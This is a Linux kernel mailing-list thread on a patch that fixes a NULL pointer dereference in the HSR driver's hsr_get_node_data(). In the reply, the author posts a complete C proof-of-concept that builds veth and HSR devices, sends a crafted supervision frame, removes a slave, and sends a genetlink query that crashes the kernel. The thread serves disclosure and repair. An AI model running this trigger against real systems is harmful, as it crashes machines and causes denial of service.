[PATCH net] net: hsr: fix NULL deref in hsr_get_node_data

[PATCH net] net: hsr: fix NULL deref in hsr_get_node_data

[Xiang Mei]

hsr_get_node_data() looks up a node's address-B port and dereferences
port->dev->ifindex without checking the return value of
hsr_port_get_hsr(), which returns NULL when no port of the requested
type is currently attached.

node->addr_B_port is set by hsr_handle_sup_frame() on every supervision
frame but is never cleared when the corresponding slave is removed.
If one slave of an HSR master is unregistered while the master stays
alive (the other slave keeps it up), node_db entries retain a stale
addr_B_port. An unprivileged HSR_C_GET_NODE_STATUS query (genl op has
.flags = 0) then crashes the kernel:

  Oops: general protection fault, probably for non-canonical address
  0xdffffc0000000002: 0000 [#1] SMP KASAN NOPTI
  KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
  RIP: 0010:hsr_get_node_data (net/hsr/hsr_framereg.c:892)
  Call Trace:
   hsr_get_node_status (net/hsr/hsr_netlink.c:366)
   genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
   genl_rcv_msg (net/netlink/genetlink.c:1209)
   netlink_rcv_skb (net/netlink/af_netlink.c:2550)
   netlink_unicast (net/netlink/af_netlink.c:1344)
   netlink_sendmsg (net/netlink/af_netlink.c:1894)
   __sys_sendto (net/socket.c:2265)

Default *addr_b_ifindex to -1 and only overwrite it when the port
lookup succeeds. The caller hsr_get_node_status() already treats
addr_b_ifindex == -1 as "no address-B port" when emitting the
HSR_A_NODE_ADDR_B / HSR_A_ADDR_B_IFINDEX attributes, so behavior is
unchanged for valid setups.

Fixes: c5a759117210 ("net/hsr: Use list_head (and rcu) instead of array for slave devices.")
Reported-by: Weiming Shi <bestswngs@gmail.com>
Assisted-by: Claude:claude-opus-4-7
Signed-off-by: Xiang Mei <xmei5@asu.edu>
---
 net/hsr/hsr_framereg.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/net/hsr/hsr_framereg.c b/net/hsr/hsr_framereg.c
index d09875b33588..8018d5c0c878 100644
--- a/net/hsr/hsr_framereg.c
+++ b/net/hsr/hsr_framereg.c
@@ -887,11 +887,11 @@ int hsr_get_node_data(struct hsr_priv *hsr,
 	if (hsr->prot_version != PRP_V1)
 		fill_last_seq_nrs(node, if1_seq, if2_seq);
 
+	*addr_b_ifindex = -1;
 	if (node->addr_B_port != HSR_PT_NONE) {
 		port = hsr_port_get_hsr(hsr, node->addr_B_port);
-		*addr_b_ifindex = port->dev->ifindex;
-	} else {
-		*addr_b_ifindex = -1;
+		if (port)
+			*addr_b_ifindex = port->dev->ifindex;
 	}
 
 	return 0;
-- 
2.43.0

Re: [PATCH net] net: hsr: fix NULL deref in hsr_get_node_data

[Xiang Mei]

Thanks for your attention to this bug. Here are some resources to help
you trigger the bug.

Required key configs for the poc:
```
CONFIG_HSR=y
CONFIG_VETH=y
```

Here is a PoC trigger that causes the intended crash shown in the
commit message:
```c
#include <arpa/inet.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>
#include <net/if.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

#define ETH_P_HSR        0x892F
#define ETH_P_PRP        0x88FB
#define HSR_TLV_ANNOUNCE 22

enum { HSR_A_UNSPEC, HSR_A_NODE_ADDR, HSR_A_IFINDEX };
enum { HSR_C_UNSPEC, HSR_C_RING_ERROR, HSR_C_NODE_DOWN,
       HSR_C_GET_NODE_STATUS };

static const uint8_t sup_mcast[6] = {0x01,0x15,0x4e,0x00,0x01,0x00};
static const uint8_t src_mac[6]   = {0x02,0xaa,0xaa,0xaa,0xaa,0x01};
static const uint8_t node_macA[6] = {0x02,0xbb,0xbb,0xbb,0xbb,0x01};

static void die(const char *m) { perror(m); exit(1); }

static struct nlattr *nla_put(struct nlmsghdr *n, int type,
      const void *data, int len)
{
struct nlattr *a = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
a->nla_type = type;
a->nla_len  = NLA_HDRLEN + len;
if (len)
memcpy((char *)a + NLA_HDRLEN, data, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(a->nla_len);
return a;
}

static struct nlattr *nla_nest(struct nlmsghdr *n, int type)
{
return nla_put(n, type, NULL, 0);
}

static void nla_nest_end(struct nlmsghdr *n, struct nlattr *start)
{
start->nla_len = (char *)n + n->nlmsg_len - (char *)start;
}

static int rtnl_talk(int sk, struct nlmsghdr *n)
{
if (send(sk, n, n->nlmsg_len, 0) < 0)
die("send(rtnl)");

char buf[4096];
int len = recv(sk, buf, sizeof(buf), 0);
if (len < 0)
die("recv(rtnl)");

struct nlmsghdr *h = (void *)buf;
if (h->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(h);
if (e->error)
fprintf(stderr, "rtnl: %s\n", strerror(-e->error));
return e->error;
}
return 0;
}

static int rtnl_open(void)
{
int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sk < 0) die("socket(rtnl)");
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(sk, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(rtnl)");
return sk;
}

static int rtnl_seq;

static void newlink_begin(struct nlmsghdr *n, const char *ifname,
  const char *kind, struct nlattr **linkinfo,
  struct nlattr **infodata)
{
struct ifinfomsg *ifm;
n->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
n->nlmsg_type  = RTM_NEWLINK;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
n->nlmsg_seq   = ++rtnl_seq;
ifm = NLMSG_DATA(n);
memset(ifm, 0, sizeof(*ifm));
ifm->ifi_family = AF_UNSPEC;

nla_put(n, IFLA_IFNAME, ifname, strlen(ifname) + 1);
*linkinfo = nla_nest(n, IFLA_LINKINFO);
nla_put(n, IFLA_INFO_KIND, kind, strlen(kind) + 1);
*infodata = nla_nest(n, IFLA_INFO_DATA);
}

static void create_veth(int sk, const char *name, const char *peer)
{
char buf[1024] = {0};
struct nlmsghdr *n = (void *)buf;
struct nlattr *linkinfo, *infodata;

newlink_begin(n, name, "veth", &linkinfo, &infodata);

struct nlattr *peer_nest = nla_nest(n, VETH_INFO_PEER);
struct ifinfomsg *p = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
memset(p, 0, sizeof(*p));
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLMSG_ALIGN(sizeof(*p));
nla_put(n, IFLA_IFNAME, peer, strlen(peer) + 1);
nla_nest_end(n, peer_nest);

nla_nest_end(n, infodata);
nla_nest_end(n, linkinfo);

if (rtnl_talk(sk, n))
exit(1);
}

static void link_up(int sk, const char *name)
{
char buf[256] = {0};
struct nlmsghdr *n  = (void *)buf;
struct ifinfomsg *ifm;
n->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
n->nlmsg_type  = RTM_NEWLINK;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
n->nlmsg_seq   = ++rtnl_seq;
ifm = NLMSG_DATA(n);
memset(ifm, 0, sizeof(*ifm));
ifm->ifi_family = AF_UNSPEC;
ifm->ifi_index  = if_nametoindex(name);
ifm->ifi_change = IFF_UP;
ifm->ifi_flags  = IFF_UP;
rtnl_talk(sk, n);
}

static void link_del(int sk, const char *name)
{
char buf[256] = {0};
struct nlmsghdr *n  = (void *)buf;
struct ifinfomsg *ifm;
n->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
n->nlmsg_type  = RTM_DELLINK;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
n->nlmsg_seq   = ++rtnl_seq;
ifm = NLMSG_DATA(n);
memset(ifm, 0, sizeof(*ifm));
ifm->ifi_family = AF_UNSPEC;
ifm->ifi_index  = if_nametoindex(name);
rtnl_talk(sk, n);
}

static void create_hsr(int sk, const char *name, int slave1, int slave2)
{
char buf[1024] = {0};
struct nlmsghdr *n = (void *)buf;
struct nlattr *linkinfo, *infodata;

newlink_begin(n, name, "hsr", &linkinfo, &infodata);
nla_put(n, IFLA_HSR_SLAVE1, &slave1, sizeof(slave1));
nla_put(n, IFLA_HSR_SLAVE2, &slave2, sizeof(slave2));
uint8_t ver = 1;
nla_put(n, IFLA_HSR_VERSION, &ver, 1);
nla_nest_end(n, infodata);
nla_nest_end(n, linkinfo);

if (rtnl_talk(sk, n))
exit(1);
}

static void send_sup_frame(const char *ifname)
{
struct __attribute__((packed)) {
uint8_t  h_dest[6], h_source[6];
uint16_t h_proto;
uint16_t path_and_LSDU_size, sequence_nr, encap_proto;
uint16_t path_and_HSR_ver, sup_sequence_nr;
uint8_t  tlv_type, tlv_length;
uint8_t  payload_macA[6];
uint8_t  eot_type, eot_length;
} f = {0};

int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) die("socket(AF_PACKET)");

struct sockaddr_ll sll = {
.sll_family   = AF_PACKET,
.sll_protocol = htons(ETH_P_HSR),
.sll_ifindex  = if_nametoindex(ifname),
.sll_halen    = 6,
};
memcpy(sll.sll_addr, sup_mcast, 6);
if (bind(s, (struct sockaddr *)&sll, sizeof(sll)) < 0)
die("bind(AF_PACKET)");

memcpy(f.h_dest, sup_mcast, 6);
memcpy(f.h_source, src_mac, 6);
f.h_proto            = htons(ETH_P_HSR);
f.path_and_LSDU_size = htons((1 << 12) | 28);
f.sequence_nr        = htons(1);
f.encap_proto        = htons(ETH_P_PRP);
f.sup_sequence_nr    = htons(1);
f.tlv_type           = HSR_TLV_ANNOUNCE;
f.tlv_length         = 6;
memcpy(f.payload_macA, node_macA, 6);

if (sendto(s, &f, sizeof(f), 0,
   (struct sockaddr *)&sll, sizeof(sll)) < 0)
die("sendto(sup)");
close(s);
}

static int resolve_hsr_family(int sk)
{
char buf[1024] = {0};
struct nlmsghdr *n  = (void *)buf;
struct genlmsghdr *g;

n->nlmsg_len   = NLMSG_LENGTH(sizeof(*g));
n->nlmsg_type  = GENL_ID_CTRL;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
g = NLMSG_DATA(n);
g->cmd     = CTRL_CMD_GETFAMILY;
g->version = 1;
nla_put(n, CTRL_ATTR_FAMILY_NAME, "HSR", 4);

if (send(sk, n, n->nlmsg_len, 0) < 0) die("send(genl)");
int len = recv(sk, buf, sizeof(buf), 0);
if (len < 0) die("recv(genl)");

struct nlmsghdr *h  = (void *)buf;
struct genlmsghdr *gh = NLMSG_DATA(h);
int alen = h->nlmsg_len - NLMSG_LENGTH(sizeof(*gh));
struct nlattr *a = (void *)gh + NLMSG_ALIGN(sizeof(*gh));
while (alen > 0 && a->nla_len) {
if (a->nla_type == CTRL_ATTR_FAMILY_ID)
return *(uint16_t *)((char *)a + NLA_HDRLEN);
int step = NLA_ALIGN(a->nla_len);
a = (void *)a + step;
alen -= step;
}
fprintf(stderr, "HSR family not found\n");
exit(1);
}

static void trigger(int sk, int family_id, int hsr_ifindex)
{
char buf[256] = {0};
struct nlmsghdr *n  = (void *)buf;
struct genlmsghdr *g;

n->nlmsg_len   = NLMSG_LENGTH(sizeof(*g));
n->nlmsg_type  = family_id;
n->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
g = NLMSG_DATA(n);
g->cmd     = HSR_C_GET_NODE_STATUS;
g->version = 1;
nla_put(n, HSR_A_IFINDEX,   &hsr_ifindex, sizeof(hsr_ifindex));
nla_put(n, HSR_A_NODE_ADDR, node_macA,    6);

send(sk, n, n->nlmsg_len, 0);
}

int main(void)
{
int rsk = rtnl_open();

create_veth(rsk, "v0", "v1");
create_veth(rsk, "v2", "v3");
link_up(rsk, "v0"); link_up(rsk, "v1");
link_up(rsk, "v2"); link_up(rsk, "v3");

create_hsr(rsk, "hsr0", if_nametoindex("v0"), if_nametoindex("v2"));
link_up(rsk, "hsr0");

int hsr_ifindex = if_nametoindex("hsr0");
if (!hsr_ifindex) die("if_nametoindex(hsr0)");

usleep(200 * 1000);              /* let carrier propagate */
send_sup_frame("v1");            /* sets addr_B_port = SLAVE_A */
usleep(200 * 1000);              /* let kernel process the frame */

link_del(rsk, "v0");             /* slave_a port goes away */
usleep(200 * 1000);              /* let RCU drain */

int gsk = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (gsk < 0) die("socket(genl)");

int fid = resolve_hsr_family(gsk);
trigger(gsk, fid, hsr_ifindex);  /* boom */

puts("[*] survived -- bug did not trigger");
return 0;
}
```

Feel free to ask any questions.
Thanks,
Xiang

On Mon, May 11, 2026 at 12:15 AM Xiang Mei <xmei5@asu.edu> wrote:
>
> hsr_get_node_data() looks up a node's address-B port and dereferences
> port->dev->ifindex without checking the return value of
> hsr_port_get_hsr(), which returns NULL when no port of the requested
> type is currently attached.
>
> node->addr_B_port is set by hsr_handle_sup_frame() on every supervision
> frame but is never cleared when the corresponding slave is removed.
> If one slave of an HSR master is unregistered while the master stays
> alive (the other slave keeps it up), node_db entries retain a stale
> addr_B_port. An unprivileged HSR_C_GET_NODE_STATUS query (genl op has
> .flags = 0) then crashes the kernel:
>
>   Oops: general protection fault, probably for non-canonical address
>   0xdffffc0000000002: 0000 [#1] SMP KASAN NOPTI
>   KASAN: null-ptr-deref in range [0x0000000000000010-0x0000000000000017]
>   RIP: 0010:hsr_get_node_data (net/hsr/hsr_framereg.c:892)
>   Call Trace:
>    hsr_get_node_status (net/hsr/hsr_netlink.c:366)
>    genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
>    genl_rcv_msg (net/netlink/genetlink.c:1209)
>    netlink_rcv_skb (net/netlink/af_netlink.c:2550)
>    netlink_unicast (net/netlink/af_netlink.c:1344)
>    netlink_sendmsg (net/netlink/af_netlink.c:1894)
>    __sys_sendto (net/socket.c:2265)
>
> Default *addr_b_ifindex to -1 and only overwrite it when the port
> lookup succeeds. The caller hsr_get_node_status() already treats
> addr_b_ifindex == -1 as "no address-B port" when emitting the
> HSR_A_NODE_ADDR_B / HSR_A_ADDR_B_IFINDEX attributes, so behavior is
> unchanged for valid setups.
>
> Fixes: c5a759117210 ("net/hsr: Use list_head (and rcu) instead of array for slave devices.")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Assisted-by: Claude:claude-opus-4-7
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/hsr/hsr_framereg.c | 6 +++---
>  1 file changed, 3 insertions(+), 3 deletions(-)
>
> diff --git a/net/hsr/hsr_framereg.c b/net/hsr/hsr_framereg.c
> index d09875b33588..8018d5c0c878 100644
> --- a/net/hsr/hsr_framereg.c
> +++ b/net/hsr/hsr_framereg.c
> @@ -887,11 +887,11 @@ int hsr_get_node_data(struct hsr_priv *hsr,
>         if (hsr->prot_version != PRP_V1)
>                 fill_last_seq_nrs(node, if1_seq, if2_seq);
>
> +       *addr_b_ifindex = -1;
>         if (node->addr_B_port != HSR_PT_NONE) {
>                 port = hsr_port_get_hsr(hsr, node->addr_B_port);
> -               *addr_b_ifindex = port->dev->ifindex;
> -       } else {
> -               *addr_b_ifindex = -1;
> +               if (port)
> +                       *addr_b_ifindex = port->dev->ifindex;
>         }
>
>         return 0;
> --
> 2.43.0
>